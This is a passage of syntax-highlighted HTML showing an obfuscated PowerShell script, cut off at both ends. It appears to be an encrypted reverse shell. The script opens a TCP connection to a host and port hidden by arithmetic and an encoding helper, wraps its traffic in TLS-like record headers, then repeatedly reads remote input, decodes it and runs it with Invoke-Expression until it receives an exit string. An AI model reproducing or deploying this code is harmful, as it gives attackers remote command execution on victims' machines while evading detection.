class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8B8BBBB88B8B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8888BBB888B8888&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8B88888888B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88BB8BB88BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
             &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBB88B8B8B888&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8B8BBBB88B8B8B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBB88B8B8B888&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BBB888B8B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BBB88B8B8B888&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8B8BBBB88B8B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88B888B8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BBB888B8B8B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88B888B8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                      &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB888888BB88B88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                   &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B88B888B8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BBB888B8B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
       &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB888888BB88B88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BBBBBB8B88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;System.Net.Sockets.TcpClient&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BBBBBB8B88B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IIlIlIlIllIIllIl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Pow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;math&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sqrt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8BBBBBB8B88B&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GetStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88888BB8B8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;llIIlllllIIIlllI&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88888BB8B8B8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88888BB8B8B8BB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Out-Null&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
              &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                     &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BBB8B8B88B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB888888B88BBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;16384&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B888BB8B8888BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BBB8B8B88B8B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B88B8BB888BBB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lIIIlllIIIIllllI&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-B8BBB8B8BB8BBB88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88B8B888BBB88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBB8BBB8B88B88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                         &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B88B8BB888BBB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-eq&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IIlIlIlIllIIllIl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;124&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                      &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                             &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB88B8B8BBBB888B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Invoke-Expression&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B88B8BB888BBB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Out-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
